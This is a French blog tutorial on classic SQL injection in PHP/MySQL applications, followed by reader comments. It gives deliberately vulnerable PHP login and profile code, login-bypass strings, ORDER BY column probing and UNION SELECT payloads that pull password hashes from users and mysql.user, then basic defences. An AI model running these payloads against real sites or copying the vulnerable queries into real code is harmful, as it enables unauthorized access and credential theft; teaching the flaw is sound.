[Tutoriel] SQL Injection – Les classiques (partie1)

sql_imgHello,
Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:

J’ai également publié un billet bonus parlant des techniques d’évasion des filtres

Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!

Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!

Alors c’est parti =)

SQL Injection, c’est quoi ?

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :

  • Bypasser une authentification
  • Lire des données sensibles depuis les tables mySQL
  • Injecter le nom et le schéma de la base de données
  • Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Comment repérer une injection SQL?

Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Et oui! c’est ça, merci mysql_error =)

Et si on passe aux exemples?

Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :

Bypasser une identification:

Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:

Code :

// page processlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'") or die(mysql_error());
if(mysql_num_rows($sql) == 1)
{
echo "Bienvenue $username dans votre espace membre!";
}
else
{
echo "Nom d'utilisateur et/ou mot de passe incorrecte";
}

Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :

SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’

La requête SQL va aboutir, le single quote permettra de fermer le délimiteur de la chaine admin et les deux tirées servent à mettre le reste de la requête en commentaire, du coup la vérification du mot de passe sera ignorée ;) , Bienvenue admin dans votre espace membre!

C’est juste un exemple! l’attaque peut se présenter différemment selon la requête SQL :

Exemple 2:

//...
$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");

Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’=’a, le principe est de toujours forcer la requête à retourner true :)

Injecter des données depuis une table

On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!

La commande UNION, existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, il est important que les champs des différents SELECT aient le même nombre et le même type!

Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET

Code :

mysql_connect("localhost","root","");
mysql_select_db("test");
$user_id = $_GET['id'];
$sql = mysql_query("SELECT usernamen, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error());
if(mysql_num_rows($sql) > 0)
{
$data = mysql_fetch_object($sql);
echo "
<fieldset>
<legend>Profile de ".$data->username."</legend>
<p>Nom d'utilisateur : ".$data->username."</p>
<p>Nom et prénom : ".$data->nom." " .$data->prenom ."</p>
<p>Adresse email : ".$data->email."</p>
</fieldset>";
}

Sans connaitre le code qui s’exécute derrière un attaquant peut détecter la présence d’une injection sql en essayant d’interrompre la requête en accèdent à la page : profile.php?id=1′, le fameux message d’erreur s’affiche, l’attaquant passe à l’étape suivante, qui est l’identification de nombre des champs utilisés dans le SELECT

La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur

  • profile.php?id=1 order by 1 [OK]
  • profile.php?id=2 order by 2 [OK]
  • profile.php?id=3 order by 3 [OK]
  • profile.php?id=4 order by 4 [OK]
  • proile.php?id=5 order by 5 [ERREUR]

A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!

profile.php?id=-1 UNION SELECT 1,2,3,4–

là on peut bien voir les chiffres s’afficher au lieu des données vu que l’id -1 n’existe pas dans la base, du coup les champs sélectionné dans l’UNOIN seront retourné (1,2,3,4), à la place de ces derniers l’attaquant peut sélectionner des données de n’importe quelle table sur laquelle l’utilisateur sql courant a les droits

Exemple :

profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user

Il est facile pour un attaquant de deviner le nom des tables, d’ailleurs il existe des listes de tables sensibles susceptibles d’exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d’injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!

Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!

Comment se protéger?

Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :

Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :

$user_id = intval($_GET['id']);

et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval() et ainsi de suite..

Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)

Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!

Be Sociable, Share!

34 thoughts on “[Tutoriel] SQL Injection – Les classiques (partie1)

  1. Pingback: Sécurité : Injection SQL (liste d’outils) « GNU-It

  2. Frenchement merci j’en sais maintenant d’avantage sur cette faille et je test tous celà sur wamp pour mieux comprendre le tout !

  3. salut
    Merci pour ce totu mais je pence marche pas avec tous les sites car moi meme j’ai essai mais aucun resultas.
    C’est tu dispo tu peu fair une autre truc

  4. Bonjour, je rencontre un souci avec vos explications. J’utilise votre premier formulaire et j’entre admin’– , mais pour mon cas je n’ai pas : Bienvenue admin dans votre espace membre! mais You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near  » AND password =  »’ at line 1 ,donc pas de bypass au niveau de quoi que se soit. Aucun résultat non plus avec le plugin firefox SQL Inject Me …. auriez vous des explications ? merci

  5. Salut penetator, cela dépend de la version mysql, sur les version >= 5.0, le commentaire à la fin avec « – » ne marche pas, il faut utiliser tout simplement « /* » à la place et ça va marcher!

  6. Pingback: Chercher une faille SQL avec Havij

  7. Pingback: Chercher une faille SQL avec Havij « AIT IBOUREK

  8. Bonjour cher Mohammed.
    c’est juste par hasard que j’ai découvert ce tuto que j’ai apprécie énormément.
    donc voila je suis un nouveau webmaster mais malheureusement je ne suis pas fort dans le domaine puisque je suis nouveau et que je ne prétais pas vraiment attention à l’outil web durant ma formation hélas. le truc que maintenant ça devient essentiel et que je suis intéressé par la sécurité de mes propres site

  9. Pingback: [Tutoriel] SQL Injection – Les classiques (partie1) « Php Securité

  10. Pingback: P0wn4t0r - Vie et oeuvre d'un Hacker | 0x0ff.info

  11. Pingback: Chercher une faille SQL avec Havij | Tout4web

  12. bonjour…svp je suis vraiment novice et très novice dans le hacking..enfaite jaimerai savoir si c’est un logiciel qu’on utilise ou c’est ou on met (‘) pour commencer.
    [email protected]

  13. Bonjour Mohamed,

    j’ai besoin d’une petite explication a cause de cette requete :

    profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users

    pour quoi tu utilise ‘null’ dans cette requete et comment tu choisie l’ordre de ces champs !!
    merci d’avance :)

  14. Merci ! j’ai enfin une idée plus claire sur ce que j’enrégistrais machinalement :) trop fort buddy

  15. Bravo pour ces billets thématiques. J’ai enfin compris les principaux types d’injections SQL tant redoutés par les développeurs web, et surtout merci pour donner des solutions aux problèmes soulevés.

  16. Bien fait le tuto mais juste au début, tu ne mets qu’un seul tiret alors qu’Il faut en mettre deux.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Vous pouvez utiliser ces balises et attributs HTML : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>